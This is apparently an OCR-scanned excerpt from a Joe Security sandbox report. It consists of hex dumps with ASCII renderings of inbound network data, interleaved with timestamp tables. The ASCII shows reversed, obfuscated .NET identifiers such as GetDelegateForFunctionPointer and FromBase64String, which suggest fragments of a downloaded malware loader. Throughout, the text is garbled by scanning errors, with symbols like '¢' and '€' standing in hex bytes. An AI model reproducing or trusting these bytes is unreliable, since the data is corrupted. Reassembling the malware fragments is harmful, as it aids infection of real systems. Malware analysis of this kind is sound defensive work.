18 40 11 0a 20 11 1c 81 82 12 09 10 18 7d 82 12 04 20 Oc 09 10 18 40 11 02 20 07 7d 82 12 3¢ 81 11 10 44 81 11 10 54
81111054 81 1110 02 05 20 16 1c 81 82 12 3¢ 81 11 10 44 81 11 10 Oe 18 09 02 54 81 11 10 54 81 11 10 Oe Oe 7d 82
12 0c 20 1f 3¢ 81 11 10 44 81 11 10 Oe 18 09 02 54 81 11 10 54 81 11 10 Oe

Data Ascii. h@ \h4}\h4@ @ } '} }@} @} @ }<DTT <DTT} <DTT

Data Raw: 4f 00 64 4e 78 55 69 6f 63 76 56 74 00 67 36 32 58 31 6a 63 4c 76 6¢ 00 4f 6f 37 31 6d 45 63 52 4b 48 00 55
4a 55 69 43 37 63 37 35 6a 00 72 4e 62 43 77 36 63 47 6a 4d 00 50 4e 30 36 52 32 63 4a 50 74 00 4a 52 55 53 57 72 63
79394200 61 33 67 51 4d 69 63 54 35 4d 00 75 62 58 58 72 57 63 4f 72 78 00 67 78 67 31 50 7a 43 36 77 75 00 72 63
4e 56 33 75 43 51 58 52 00 56 53 76 4f 48 53 43 75 56 78 00 34 44 59 43 6f 56 43 58 68 6f 00 42 54 36 74 67 54 43 51 6
e 4d 00 72 6¢ 71 4e 78 34 43 36 64 65 00 45 75 76 77 6f 79 43 31 33 4b 00 67 51 45 5a 61 63 43 50 33 56 00 42 75 72
72 78 6e 43 74 65 63 00 73 37 30 32 77 62 43 67 54 48 00 71 67 39 44 73 76 43 4d 42 4f 00 47 79 73 50 73 74 43 63 5a
4a 00 52 30 43 63 52 65 43 35 49 66 00 64 57 75 4d 38 66 43 30 79 48 00

Data Ascii: OdNxUiocvVtg62X1jcLviOo71mECRKHUJIUIC7c75jrNbCw6cGJMPNO6R2cIJPtIRUSWrcy9Ba3gQMic
T5MubXXrWcOrxgxg1PzCewurcNV3uCQXRVSVOHSCuVx4DYCoVCXhoBT6tgTCQNMrlgNx4C6deEuvwoyC
13KgQEZacCP3VBurrxnCtecs702wbCgTHqg9DsvCMBOGysPstCcZIROCcReC5IfdWuM8fCOyH

Data Raw: 00 47 78 33 30 51 65 32 46 48 56 37 74 6a 57 4e 54 6e 6e 4f 76 00 4e 6¢ 47 62 45 6d 6¢ 54 54 6¢ 64 77 6a 57
7374 46 74 55 52 00 51 6a 32 69 52 73 51 59 64 43 32 65 6a 57 77 41 71 57 66 68 00 45 71 76 74 32 71 74 4e 6f 64 00
37 53 67 31 6f 37 6¢ 33 4e 4d 00 55 4d 69 31 76 55 30 62 42 71 64 6b 6a 57 4a 6a 39 65 57 4f 00 58 76 44 5a 4f 36 6a 69
73 38 6a 66 6a 57 36 31 79 79 46 4c 00 42 4a 5a 41 59 64 43 6d 32 32 46 41 6a 57 36 4e 6¢ 65 5a 71 00 77 53 48 44 4b
74 74 58 4e 7a 00 76 52 62 57 32 61 6¢ 34 6¢ 6¢ 00 49 43 49 30 68 69 57 73 37 41 73 71 6a 57 46 31 56 49 67 4b 00 56
56 53 58 44 57 74 35 44 6¢ 43 39 6a 57 68 67 73 56 68 6e 00 32 6a 68 55 4d 61 47 48 43 76 00 54 4f 45 49 6b 6e 47 30
37 6f 00 55 44 66 66 34 4e 47 65 66 68 00 79 55 42 61 62 4e 6a 6e 56

Data Ascii: Gx30Qe2FHV7tjWNTnnOVNIGbEmITTIdwjWstFtURQj2iRsQYdC2ejWwAqWfhEqvt2qtNod7Sglo713
NMUMi1vUObBqdkjWJj9e WOXvDZO6jis8]fjWe1lyyFLBIZAYdCm22FAjWENIeZqwSHDKttXNzvRbW2al4llICIOhiWs
7AsqjWF1VIgKVVSXDWt5DIC9jWhgsVhn2jhUMaGHCVTOEIknG070UDff4ANGefhyUBabNjnV

Data Raw: 6a 47 52 64 5a 57 70 00 67 6e 69 64 6e 65 50 5f 74 65 73 00 67 6e 69 64 6e 65 50 5f 74 65 67 00 70 61 4d 6d
75 6e 45 74 65 47 00 79 65 4b 74 65 47 00 65 63 61 6¢ 50 6€ 49 65 6¢ 69 70 6d 6f 43 00 47 55 57 61 75 54 64 4f 78 4e
00 73 74 6e 65 6d 75 67 72 41 63 69 72 65 6e 65 47 6¢ 6¢ 41 74 65 47 00 73 65 70 79 74 62 75 53 74 65 47 00 31 60 72
65 72 61 70 6d 6f 43 49 00 72 65 62 6d 65 6d 00 6b 6€ 61 52 79 61 72 72 41 74 65 47 00 6e 6f 69 74 69 6e 69 66 65 44 6
5707954 63 69 72 65 6e 65 47 74 65 47 00 73 65 70 79 54 74 73 69 4c 65 76 6¢ 6f 73 65 52 00 72 65 62 6d 65 4d 74
65 47 00 6¢ 37 54 34 4d 31 64 67 34 58 00 65 70 79 54 74 6¢ 75 61 66 65 64 00 65 70 79 54 6d 65 74 69 00 65 75 6C 61
56 74 6¢ 75 61 66 65 64 00 73 65 6d 61 4e 72 65 62 6d 65 6d 00 41 62 31

Data Ascii: (JGRdZWpgnidneP_tesgnidneP_tegpaMmunEteGyeKteGecalPnlelipmoCGUWauTdOxNstnemugrAcireneGIIA
teGsepytbuSteG1 rerapmoClrebmemknaRyarrAteGnoitinifeDepyTcireneGteGsepyTtsiLevloseRrebmeMteGI7T4M1dg
4XepyTtluafedepyTmetieulaVtluafedsemaNrebmemAbl

Data Raw: 4c 59 4e 5a 44 35 52 54 00 6e 61 69 64 6e 45 67 69 42 32 33 64 65 78 69 46 00 32 33 64 65 78 69 46 00 38
323165 73 61 42 00 6a 61 49 6f 48 6a 4d 64 67 62 66 43 51 57 4e 44 45 31 4a 59 00 65 66 4c 78 56 41 73 49 4b 53 36
6e 51 57 56 52 30 62 55 6d 00 65 64 6f 43 68 73 61 48 74 65 47 00 65 64 6f 43 68 73 61 48 74 65 47 2e 3e 74 63 65 6a 6
2 4f 2e 6d 65 74 73 79 53 3c 72 65 72 61 70 6d 6f 43 79 74 69 6¢ 61 75 71 45 49 2e 63 69 72 65 6e 65 47 2e 73 6e 6f 69
74 63 65 6¢ 6¢ 6f 43 2e 6d 65 74 73 79 53 00 73 6¢ 61 75 71 45 2e 3e 74 63 65 6a 62 4f 2e 6d 65 74 73 79 53 3¢ 72 65
72 61 70 6d 6f 43 79 74 69 6¢ 61 75 71 45 49 2e 63 69 72 65 6e 65 47 2e 73 6e 6f 69 74 63 65 6¢ 6¢ 6f 43 2e 6d 65 74 73
79 53 00 74 63 6¢ 49 34 79 48 4a 72 65 4a 48 51 57 4b 6a 42 77 69 67

Data Ascii: LYNZD5RTnaidnEgiB23dexiF23dexiF821esaBjaloHjMdgbfCQWNDE1JYefLxVAsIKS6nQWVRObUmM
edoChsaHteGedoChsaHteG.>tcejbO.metsyS<rerapmoCytilaugEl.cireneG.snoitcelloC.metsySslaugE.>tcejbO.met
syS<rerapmoCytilaugEl.cireneG.snoitcelloC.metsyStcll4yHJreJH QWK|Bwig

Data Raw: 00 73 65 74 79 42 74 65 47 00 31 60 72 6f 74 61 72 65 6d 75 6e 45 49 00 63 76 77 73 43 72 57 68 5a 53 00
79 32 4c 39 77 44 57 65 55 65 00 65 70 79 54 67 6e 69 72 61 6¢ 63 65 44 5f 74 65 67 00 6f 66 6e 49 72 65 62 6d 65 4d
00 65 6¢ 64 6e 61 48 64 6f 68 74 65 4d 65 6d 69 74 6e 75 52 00 65 6d 61 72 46 6b 63 61 74 53 00 65 63 61 72 54 6b 63
61 74 53 00 64 4f 38 30 4b 69 57 69 63 4a 00 69 34 4b 5a 38 4c 57 78 5a 4f 00 61 36 74 4d 4c 6¢ 59 55 30 69 34 75 42
66 58 55 46 54 58 00 65 74 61 67 65 6¢ 65 44 00 72 65 74 6e 69 6f 50 6e 6f 69 74 63 6e 75 46 72 6f 46 65 74 61 67 65 6C
65 44 74 65 47 00 67 6e 69 72 74 53 74 65 47 00 67 6e 69 72 74 53 34 36 65 73 61 42 6d 6f 72 46 00 74 72 65 76 6e 6f
43 00 65 63 61 6¢ 70 65 52 00 38 46 54 55 5f 74 65 67 00 74 78 65 54 2e

Data Ascii: setyBteG1 rotaremunElcvwsCrWhzZSy2L9wDWeUeepyTgniralceD_tegofnirebmeMeldnaHdohteMemitnuRe
marFkcatSecarTkcatSdO80KiWicJi4dKZ8LWxZ0a6tMLIYU0i4uBfXUFTXetageleDretnioPnoitcnuFroFetageleDteGgnirt
SteGgnirtS46esaBmorFtrevnoCecalpeR8FTU_tegtxeT.
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kBytes

Timestamp transferred Direction
2022-05-02 11:02:01 UTC 447 IN
2022-05-02 11:02:01 UTC 463 IN
2022-05-02 11:02:01 UTC 479 IN
2022-05-02 11:02:01 UTC 495 IN
2022-05-02 11:02:01 UTC 511 IN
2022-05-02 11:02:01 UTC 527 IN
2022-05-02 11:02:01 UTC 543 IN
2022-05-02 11:02:01 UTC 559 IN
2022-05-02 11:02:01 UTC 575 IN

Copyright Joe Security LLC 2022

Data

Data Raw: 4a 41 44 5a 4b 51 00 4c 66 48 47 48 31 72 6b 31 35 64 78 34 58 78 4b 6a 35 55 00 41 33 35 77 44 32 55 72
3562 72 30 34 75 68 38 30 47 4e 00 6b 5a 54 33 32 57 6b 63 4c 43 6f 4d 34 62 43 57 33 6¢ 58 00 36 32 6d 36 4a 43 75
30 55 34 4a 4b 34 4f 66 32 41 6a 45 00 4a 71 62 33 77 77 4e 72 38 6b 78 73 34 4a 6b 58 6¢ 59 52 00 36 5a 62 6b 56 6e
68 74 63 38 79 47 34 36 49 55 6b 73 4a 00 45 76 78 67 58 34 6e 6¢ 57 76 41 4e 34 34 33 4b 52 35 57 00 75 68 30 48 68
6e 47 31 64 79 4b 6¢ 34 66 32 6d 48 73 66 00 61 72 5a 49 67 59 54 5a 64 57 38 51 34 46 6b 74 4d 43 56 00 75 54 56 45
35 4b 72 33 59 41 4b 61 34 4f 49 38 4b 42 64 00 51 58 6b 34 67 76 5a 38 4b 4f 70 64 34 49 41 75 45 62 67 00 62 51 37
46 41 39 66 45 39 37 4d 35 34 77 4a 36 36 63 59 00 64 45 6b 46 33 31 5a 72

Data Ascii: JADZKQLfHGH1rk15dx4XxKj5UA35wD2Ur5br04uh80GNkZ T32WkcLCoM4bCW3IX62m6JCu0U4IK4Of
2AJEJgb3wwNr8kxs4JkXIYR6ZbkVnhtc8yG461UksIEvxgX4nlWvAN443KR5WuhOHhnG 1dyKl4f2mHsfarZigY TZdW
8Q4FktMCVUTVES5Kr3YAKa4018KBdQXk4gvZ8KOpd4IAUEbghQ7FAIfE97M54wI66¢YdEKF31Zr

Data Raw: 64 69 00 75 62 5a 36 74 6f 62 65 45 59 57 4c 67 55 70 59 6¢ 64 43 00 4b 59 5a 51 6d 74 55 33 31 56 56 33 67
5a 4e 49 69 71 53 00 4f 53 49 6d 4f 59 77 48 78 50 5a 42 4d 33 74 45 48 30 6b 00 4f 55 4a 52 44 6e 57 78 50 39 47 38
4d 35 74 4c 34 64 79 00 43 38 33 6f 59 58 66 69 50 49 58 59 4d 6¢ 48 4d 53 53 43 00 5a 70 4b 56 37 36 44 32 55 6f 4a
52 4d 78 39 74 65 42 4f 00 61 35 71 52 48 33 31 65 6¢ 33 5a 31 4d 41 6b 77 54 37 65 00 4f 75 63 6¢ 47 41 47 64 78 76 3
5 6d 4d 68 52 45 51 48 6f 00 78 77 43 49 48 52 77 6d 74 74 71 4a 4d 48 50 6d 33 56 76 00 74 48 70 38 33 6d 35 6¢ 6C
57 6f 43 4d 4c 64 4b 64 53 6a 00 31 36 6d 78 58 54 30 43 6b 36 70 48 4d 55 71 61 4f 33 4a 00 74 35 45 79 43 6b 4a 41
64 51 67 49 4d 3359 67 4¢c 72 53 00 75 35 59 42 6e 70 64 56 67 52 46 58

Data Ascii: diubZ6tobeEYWLgUpYIdCKYZQmtU31VV3gZNIligSOSImOYwHXPZBM3tEHOKOUJRDNWxP9G8MS5tLAdy
C830YXfiPIXYMIHMSSCZpKV76D2U0JRMx9teBOa5qRH31el3Z1MAkwT 7eOuclGAGdxvSmMhREQHoxwCI
HRwmttgJMHPmM3VvtHp83m5IIWoCMLAKdSj16mxXTOCk6pHMUqaO3Jt5EyCkJAdQgIM3YgLrSu5YBnpdVgRFX

Data Raw: 34 00 00 3a 3e 00 00 ef 34 00 00 3a 38 00 00 ef 2e 00 00 35 ee 00 00 ef 21 00 00 1d 3b 00 00 ef 18 00 00 3a
3200 00 ef 10 00 00 16 ad 00 00 ef 02 00 00 3a 2c 00 00 Ob 5e 00 00 1d 3b 00 00 ee f6 00 00 16 b1 00 00 e5 a5 00 00 37
65 00 00 €9 42 00 00 16 ad 00 00 cf 67 00 00 16 ad 00 00 e9 2e 00 00 16 ad 00 00 cf 5b 00 00 16 ad 00 00 €9 20 00 00
16 ad 00 00 €9 17 00 00 16 ad 00 00 €9 Oc 00 00 1d 3b 00 00 6 70 00 00 37 1f 00 00 08 2e 00 00 16 b1 00 00 e3 47 00
00 16 ad 00 00 e7 5¢ 00 00 37 1f 00 00 e7 50 00 00 37 1f 00 00 e7 46 00 00 37 1f 00 00 08 2e 00 00 36 b5 00 00 e6 82 O
000 16 b1 00 00 e6 74 00 00 1d 3b 00 00 €6 70 00 00 16 b1 00 00 e5 a5 00 00 16 b1 00 00 €3 47 00 00 1d 3b 00 00 e4
€8 00 00 16 ad 00 00 e4 01 00 00 36 b5 00 00 e3 f7 00 00 16 ad 00 00

Data Ascii: 4:>4:8.5!;:2:,A,7eBg.[ ;p7.G\7TP7F7.6t;pG;6

Data Raw: 1a 00 00 05 f1 00 d7 00 00 00 62 00 00 00 d1 2a b3 00 00 ca 55 00 00 05 €9 2a 8d 00 00 00 62 00 00 05 €9 2a
3b 00 00 c9 45 00 00 04 c1 2a 29 00 00 c8 ec 00 00 04 39 02 f8 00 00 94 db 00 00 00 8¢ 03 1c 00 00 a8 11 00 00 00 94
2a 0300 00 c8 e2 00 00 00 94 29 ef 00 00 94 e4 00 00 00 8¢ 29 db 00 00 71 47 00 00 00 24 Of d5 00 00 c8 bb 00 00 00
2129 ¢9 00 00 c8 db 00 00 02 81 29 a9 00 00 c8 d4 00 00 02 81 Oe 4c 00 00 00 62 00 00 00 84 29 83 00 00 c8 ce 00 00
02 81 Oe 4c 00 00 00 62 00 00 00 7c 29 70 00 00 c8 c1 00 00 02 81 29 6b 00 00 c8 bb 00 00 00 19 29 2b 00 00 ¢8 82 00
00 02 09 1e €0 00 00 b8 d4 00 00 00 74 0d a7 00 00 c8 21 00 00 02 al 00 d7 00 00 00 62 00 00 00 74 Of fa 00 00 94 d2
00 00 00 74 00 d7 00 00 ¢5 87 00 00 02 51 00 e1 00 00 00 62 00 00 05 c9

Data Ascii: b*U*b*E*)9%)qG$!))Lb)Lb])p)k) +IbttQb

Data Raw: 05 00 02 00 00 00 00 71 05 00 01 00 00 00 00 71 05 00 08 00 00 00 00 71 05 00 07 00 00 00 00 71 05 00 06
00 00 00 00 71 05 00 05 00 00 00 00 71 05 00 04 00 00 00 00 71 05 00 03 00 00 00 00 71 05 00 02 00 00 00 00 71 05 00
01 00 00 00 00 71 05 00 08 00 00 00 00 71 05 00 07 00 00 00 00 71 05 00 06 00 00 00 00 71 05 00 05 00 00 00 00 71 05
00 04 00 00 00 00 71 05 00 03 00 00 00 00 71 05 00 02 00 00 00 00 71 05 00 01 00 00 00 00 ce bb 00 02 00 00 00 00 cd
€7 00 01 00 00 00 00 ce bb 00 02 00 00 00 00 cd e7 00 01 00 00 00 00 71 05 00 02 00 00 00 00 71 05 00 02 00 00 00 00
7105 00 02 00 00 00 00 71 05 00 02 00 00 00 00 71 05 00 04 00 00 00 00 71 05 00 03 00 00 00 00 71 05 00 02 00 00 00
00 71 05 00 04 00 00 00 00 71 05 00 03 00 00 00 00 71 05 00 02 00 00 00 00

Data Ascii: 0qqqqqqgqaqqaqgaagaaqaaqaaq

Data Raw: 05 00 02 00 00 00 00 71 05 00 01 00 00 00 00 71 05 00 02 00 00 00 00 71 05 00 01 00 00 00 00 71 05 00 02
00 00 00 00 71 05 00 01 00 00 00 00 71 05 00 02 00 00 00 00 71 05 00 01 00 00 00 00 71 05 00 02 00 00 00 00 71 05 00
01 00 00 00 00 71 05 00 02 00 00 00 00 71 05 00 01 00 00 00 00 71 05 00 03 10 10 00 00 71 05 00 02 00 00 00 00 71 05
00 01 00 00 00 00 71 05 00 01 00 00 00 00 71 05 00 02 00 00 00 00 71 05 00 01 00 00 00 00 71 05 00 01 00 00 00 00 71
0500 01 00 00 00 00 71 05 00 01 00 00 00 00 71 05 00 01 00 00 00 00 71 0500 01 00 00 00 00 71 05 00 01 00 00 00 01
42 41 00 02 00 00 00 00 71 05 00 01 00 00 00 00 71 05 00 02 00 00 00 00 71 05 00 01 00 00 00 00 71 05 00 01 00 00 00
00 71 05 00 01 00 00 00 00 71 05 00 03 00 00 00 00 71 05 00 02 00 00 00 00

Data Ascii: qqqqqqaadaagaaqaaqaaqadBAaaqaaqq

Data Raw: 05 00 01 00 00 00 00 71 05 00 02 00 00 00 00 71 05 00 01 00 00 00 00 71 05 00 02 00 00 00 00 71 05 00 01

00 00 00 00 71 05 00 02 00 00 00 00 71 05 00 01 00 00 00 00 71 05 00 02 00 00 00 00 71 05 00 01 00 00 00 00 71 05 00
02 00 00 00 00 71 05 00 01 00 00 00 00 71 05 00 02 00 00 00 00 71 05 00 01 00 00 00 00 71 05 00 01 00 00 00 00 71 05
00 01 00 00 00 00 71 05 00 02 00 00 00 00 71 05 00 01 00 00 00 00 71 05 00 02 00 00 00 00 71 05 00 01 00 00 00 00 71
05 00 02 00 00 00 00 71 05 00 01 00 00 00 00 71 05 00 02 00 00 00 00 71 05 00 01 00 00 00 00 71 05 00 01 00 00 00 00
7105 00 01 00 00 00 00 71 05 00 01 00 00 00 00 71 05 00 04 00 00 00 00 71 05 00 03 00 00 00 00 71 05 00 02 00 00 00
00 71 05 00 01 00 00 00 00 71 05 00 01 00 00 00 00 71 05 00 01 00 00 00 00

Data Ascil: qqdqqqdaddaqadddadaadddaaqadadaaq

Data Raw: 4c 00 00 00 62 18 06 00 03 00 00 00 00 1a dO c3 1e 00 01 7e c2 00 16 00 00 00 07 8d b8 1a cf c3 14 00 00 75
59 00 46 00 03 00 00 00 00 1a cf 02 d4 00 00 70 51 18 10 00 00 00 07 8d a4 1a cf Oe 4c 00 00 00 62 18 06 00 03 00 00
00 00 1a cf ¢3 07 00 01 7e c2 00 16 00 00 00 07 8d 90 1a cf 39 8f 00 00 75 59 00 46 00 03 00 00 00 00 1a cf 02 d4 00 00
7051 18 10 00 00 00 07 8d 7c 1a cf Oe 4c 00 00 00 62 18 06 00 03 00 00 00 00 1a cf c2 fa 00 01 7e c2 00 16 00 00 00 07
8d 68 1a cf 39 8f 00 00 75 59 00 46 00 03 00 00 00 00 1a cf 02 d4 00 00 70 51 18 10 00 00 00 07 8d 54 1a cf Oe 4c 00 00
00 62 18 06 00 03 00 00 00 00 1a cf c2 eb 00 01 7e c2 00 16 00 00 00 07 8d 40 1a cf c2 e4 00 00 75 59 00 46 00 03 00
00 00 00 1a cf 02 d4 00 00 70 51 18 10 00 00 00 07 8d 2c 1a cf

Data Ascii: Lb~uYFpQLb~9uYFpQ|Lb~h9uYFpQTLb~@uYFpQ,

Data Raw: 4c 00 00 00 62 18 06 00 03 00 00 00 00 18 25 ae 67 00 01 7e c2 00 16 00 00 00 07 63 84 18 25 36 6f 00 00
7559 00 46 00 03 00 00 00 00 18 25 02 d4 00 00 70 51 18 10 00 00 00 07 63 70 18 25 Oe 4c 00 00 00 62 18 06 00 03 00
00 00 00 18 20 ae 4f 00 01 7e c2 00 16 00 00 00 07 63 54 18 1b ae 3f 00 00 75 59 00 46 00 03 00 00 00 00 18 1b 02 d4 0
000 7051 18 10 00 00 00 07 63 40 18 1b Oe 4c 00 00 00 62 18 06 00 03 00 00 00 00 18 1a ae 2f 00 01 7e c2 00 16 00 00
00 07 63 2c 18 19 ac 67 00 00 75 59 00 46 00 03 00 00 00 00 18 19 02 d4 00 00 70 51 18 10 00 00 00 07 63 18 18 19 Oe
4c 00 00 00 62 18 06 00 03 00 00 00 00 18 18 ae 1f 00 01 7e c2 00 16 00 00 00 07 63 04 18 17 ac 67 00 00 75 59 00 46
00 03 00 00 00 00 18 17 02 d4 00 00 70 51 18 10 00 00 00 07 62 f0 18 17

Data Ascii: Lb%g~c%6ouYF%pQcp%Lb O~cT?uYFpQc@Lb/~c,guYFpQcLb~cguYFpQb
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kBytes

Timestamp transferred Direction
2022-05-02 11:02:01 UTC 591 IN
2022-05-02 11:02:01 UTC 607 IN
2022-05-02 11:02:01 UTC 623 IN
2022-05-02 11:02:01 UTC 639 IN
2022-05-02 11:02:01 UTC 655 IN
2022-05-02 11:02:01 UTC 671 IN
2022-05-02 11:02:01 UTC 687 IN
2022-05-02 11:02:01 UTC 703 IN
2022-05-02 11:02:01 UTC 719 IN
2022-05-02 11:02:01 UTC 735 IN

Copyright Joe Security LLC 2022

Data

Data Raw: 4c 00 00 00 62 18 06 00 03 00 00 00 00 15 42 98 79 00 01 7e c2 00 16 00 00 00 07 39 b8 15 41 98 70 00 00
7559 00 46 00 03 00 00 00 00 15 41 02 d4 00 00 70 51 18 10 00 00 00 07 39 a4 15 41 Oe 4c 00 00 00 62 18 06 00 03 00
00 00 00 15 3e 98 5a 00 01 7e c2 00 16 00 00 00 07 39 8¢ 15 3b 90 e4 00 00 75 59 00 46 00 03 00 00 00 00 15 3b 02 d4
0000 70 51 18 10 00 00 00 07 39 78 15 3b Oe 4c 00 00 00 62 18 06 00 03 00 00 00 00 15 3a 98 4a 00 01 7e c2 00 16 00
00 00 07 39 64 15 39 6e ¢3 00 00 75 59 00 46 00 03 00 00 00 00 15 39 02 d4 00 00 70 51 18 10 00 00 00 07 39 50 15 39
0Oe 4c 00 00 00 62 18 06 00 03 00 00 00 00 15 39 98 3a 00 01 7e c2 00 16 00 00 00 07 39 3¢ 15 39 98 32 00 00 75 59 00
46 00 03 00 00 00 00 15 39 02 d4 00 00 70 51 18 10 00 00 00 07 39 28 15 39

Data Ascii: LbBy~9ApuYFApQ9ALb>Z~9;uYF;pQ9x;Lb:J~9d9nuYF9pQ9IPILbI:~9<92uYFIpQ9(9

Data Raw: 4c 00 00 00 62 18 06 00 03 00 00 00 00 12 78 82 af 00 01 7e c2 00 16 00 00 00 07 10 54 12 77 82 05 00 00
7559 00 46 00 03 00 00 00 00 12 77 02 d4 00 00 70 51 18 10 00 00 00 07 10 40 12 77 Oe 4c 00 00 00 62 18 06 00 03 00
00 00 00 12 75 82 9f 00 01 7e c2 00 16 00 00 00 07 10 28 12 73 82 97 00 00 75 59 00 46 00 03 00 00 00 00 12 73 02 d4
0000 70 51 18 10 00 00 00 07 10 14 12 73 Oe 4c 00 00 00 62 18 06 00 03 00 00 00 00 12 73 82 88 00 01 7e c2 00 16 00
00 00 07 10 00 12 73 81 e1 00 00 75 59 00 46 00 03 00 00 00 00 12 73 02 d4 00 00 70 51 18 10 00 00 00 07 Of ec 12 73
0Oe 4c 00 00 00 62 18 06 00 03 00 00 00 00 12 6f 82 74 00 01 7e c2 00 16 00 00 00 07 Of d4 12 6b 82 68 00 00 75 59 00
46 00 03 00 00 00 00 12 6b 02 d4 00 00 70 51 18 10 00 00 00 07 Of cO 12 6b

Data Ascii: Lbx~TwuYFwpQ@wLbu~(suYFspQsLbs~suYFspQsLbot~khuYFkpQk

Data Raw: 4c 00 00 00 62 18 06 00 03 00 00 00 00 10 19 70 48 00 01 7e c2 00 16 00 00 00 06 €8 20 10 19 70 42 00 00
7559 00 46 00 03 00 00 00 00 10 19 02 d4 00 00 70 51 18 10 00 00 00 06 €8 Oc 10 19 Oe 4c 00 00 00 62 18 06 00 03 00
00 00 00 10 18 70 33 00 01 7e c2 00 16 00 00 00 06 e7 f8 10 17 70 2c 00 00 75 59 00 46 00 03 00 00 00 00 10 17 02 d4 0
000 7051 18 10 00 00 00 06 €7 e4 10 17 Oe 4c 00 00 00 62 18 06 00 03 00 00 00 00 10 16 70 1f 00 01 7e c2 00 16 00 00
00 06 e7 d0 10 15 12 5d 00 00 75 59 00 46 00 03 00 00 00 00 10 15 02 d4 00 00 70 51 18 10 00 00 00 06 e7 bc 10 15 Oe
4c 00 00 00 62 18 06 00 03 00 00 00 00 10 15 70 0d 00 01 7e c2 00 16 00 00 00 06 e7 a8 10 15 6f c5 00 00 75 59 00 46
00 03 00 00 00 00 10 15 02 d4 00 00 70 51 18 10 00 00 00 06 €7 94 10 15

Data Ascii: LbpH~ pBuYFpQLbp3~p,uYFpQLbp~JuYFpQLbp~ouYFpQ

Data Raw: d7 00 01 4a 60 00 81 00 00 00 05 2f e8 0d c7 02 d4 00 00 70 51 18 91 00 00 00 05 2e 50 0d ¢7 02 d4 00 00 70
5118 91 00 00 00 05 2e 3c 0d c6 1b 73 00 00 ae 04 01 c6 00 03 00 00 00 00 0d c3 63 bc 00 00 ad dd 01 c¢6 00 03 00 00
00 00 0d ¢2 30 ca 00 00 75 59 01 c6 00 03 00 00 00 00 0d cO Oe 4c 00 00 00 62 18 86 00 03 00 00 00 00 Od cO 63 b6 00
01 48 4d 00 93 00 00 00 05 2e 2c¢ 0d c0 02 d8 00 01 48 38 00 93 00 00 00 05 2e 18 0d cO 02 d4 00 00 70 51 18 91 00 00
00 05 2d bc 0d cO 00 d7 00 00 00 62 18 86 00 00 00 05 2d 98 0d bf 11 06 00 01 47 f7 00 93 00 00 00 05 2c b8 0d bf 02 d4
00 00 70 51 18 91 00 00 00 05 2c a4 0d bf 63 75 00 01 47 bc 00 93 00 00 00 04 fe 2¢ 0d bf 02 d8 00 01 47 a7 00 93 00 00
00 04 fe 18 0d bf 02 d4 00 00 70 51 18 91 00 00 00 04 fe 04 0d be

Data Ascii: J'/pQ.PpQ.<scOuYLbcHM.,H8.pQ-b-G,pQ,cuG,GpQ

Data Raw: ec 00 01 Ob f1 00 93 00 00 00 02 c8 e8 09 3b 04 30 00 01 Ob dc 00 93 00 00 00 02 c8 d4 09 3b 44 da 00 01 Ob
€7 00 93 00 00 00 02 c8 ¢4 09 3b 02 d8 00 01 Ob b2 00 93 00 00 00 02 ¢8 b0 09 3b 02 d4 00 00 70 51 18 91 00 00 00 02
€8 44 09 39 3f b5 00 00 9a 8e 00 c6 00 00 00 02 ¢5 Oc 09 38 39 8f 00 01 Ob 83 00 81 00 00 00 02 c4 0 09 36 3f 9d 00 00
9c 07 00 ¢6 00 00 00 02 c2 84 09 34 3f 6a 00 00 fe e3 00 c4 00 00 00 02 bc 98 09 2f 44 5a 00 01 Ob 71 00 93 00 00 00 02
b7 f4 09 2c 44 49 00 01 Ob 71 00 84 00 00 00 02 b7 c0 09 27 44 26 00 01 Ob 54 00 91 00 00 00 02 b3 f0 09 21 43 f9 00 01
0b 47 00 93 00 00 00 02 ae f0 09 1f 3f 6a 00 00 ff 46 00 c4 00 00 00 02 ab 00 09 1f 02 f8 00 01 Ob 30 08 84 00 00 00 02
aa e8 09 1f 02 f8 00 00 fe b4 08 c6 00 00 00 02 aa d4 09 1f

Data Ascii: ;0;D;;pQD9?896?47?j/DZq,DIq'D&T!CG?jF0O

Data Raw: 2e 00 00 02 d1 20 93 00 80 00 00 00 00 04 fb 00 d7 00 00 00 62 18 86 00 00 00 01 35 58 04 fb 02 d4 00 00 70
5118 91 00 00 00 01 35 44 04 fa 1b 73 00 00 ae 04 01 c6 00 03 00 00 00 00 04 f8 23 66 00 00 ad dd 01 c6 00 03 00 00
00 00 04 f8 00 d7 00 00 75 59 01 c6 00 03 00 00 00 00 04 f6 Oe 4c 00 00 00 62 18 86 00 03 00 00 00 00 04 f6 28 23 00 00
c5 e7 00 93 00 00 00 01 35 34 04 f6 02 d8 00 00 c5 d2 00 93 00 00 00 01 35 20 04 f6 02 d4 00 00 70 51 18 91 00 00 00
01 35 0c 04 f5 1e f2 00 00 02 d1 00 93 00 00 00 01 33 90 04 f5 00 d7 00 00 00 62 18 86 00 00 00 01 33 6¢ 04 f5 02 d4 00
00 70 51 18 91 00 00 00 01 33 58 04 f5 28 09 00 00 c5 a8 00 93 00 00 00 01 33 48 04 5 02 d8 00 00 c5 93 00 93 00 00 O
001 333404 f502 d4 00 00 70 51 18 91 00 00 00 01 33 20 04 f5

Data Ascii: . b5XpQ5Ds#fuYLb(#545 pQ53b3IpQ3X(3H34pQ3

Data Raw: 21 00 00 72 36 01 e1 00 00 00 00 26 b4 00 03 00 d7 00 00 72 3f 01 e1 00 00 00 00 26 a4 00 03 02 f0 00 00 72
36 01 e1 00 00 00 00 26 94 00 03 02 f8 00 00 71 3e 01 e1 00 00 00 00 25 a8 00 03 00 d7 00 00 72 36 01 e1 00 00 00 00
25 9c 00 02 00 b3 00 00 00 62 18 86 00 00 00 00 25 4c 00 02 03 43 00 00 71 e6 00 93 00 00 00 00 25 3c 00 02 02 d8 00
00 71 d2 00 93 00 00 00 00 25 28 00 02 03 3f 00 00 71 be 00 93 00 00 00 00 25 18 00 02 02 d4 00 00 70 51 18 91 00 00
00 00 25 04 00 02 03 39 00 00 71 b3 01 e1 00 00 00 00 24 f0 00 02 03 25 00 00 71 96 01 el 00 00 00 00 24 98 00 02 03
210000 71 8b 01 el 00 00 00 00 24 84 00 02 00 d7 00 00 71 6a 01 el 00 00 00 00 24 74 00 02 02 fO 00 00 71 5f 01 el
00 00 00 00 24 64 00 02 00 d7 00 00 71 55 00 81 00 00 00 00 24 24 00 02

Data Ascii: Ir6&r?&r6&q>%r6%b%LCq%<q%(?q%pQ%9aq$%q$!a$qistq_$dquss

Data Raw: 00 02 d3 00 26 2f a8 00 00 ce d4 00 26 2e 84 00 00 a5 3d 00 26 2e 4b 00 00 92 f7 00 26 31 4c 00 00 a5 7a 00
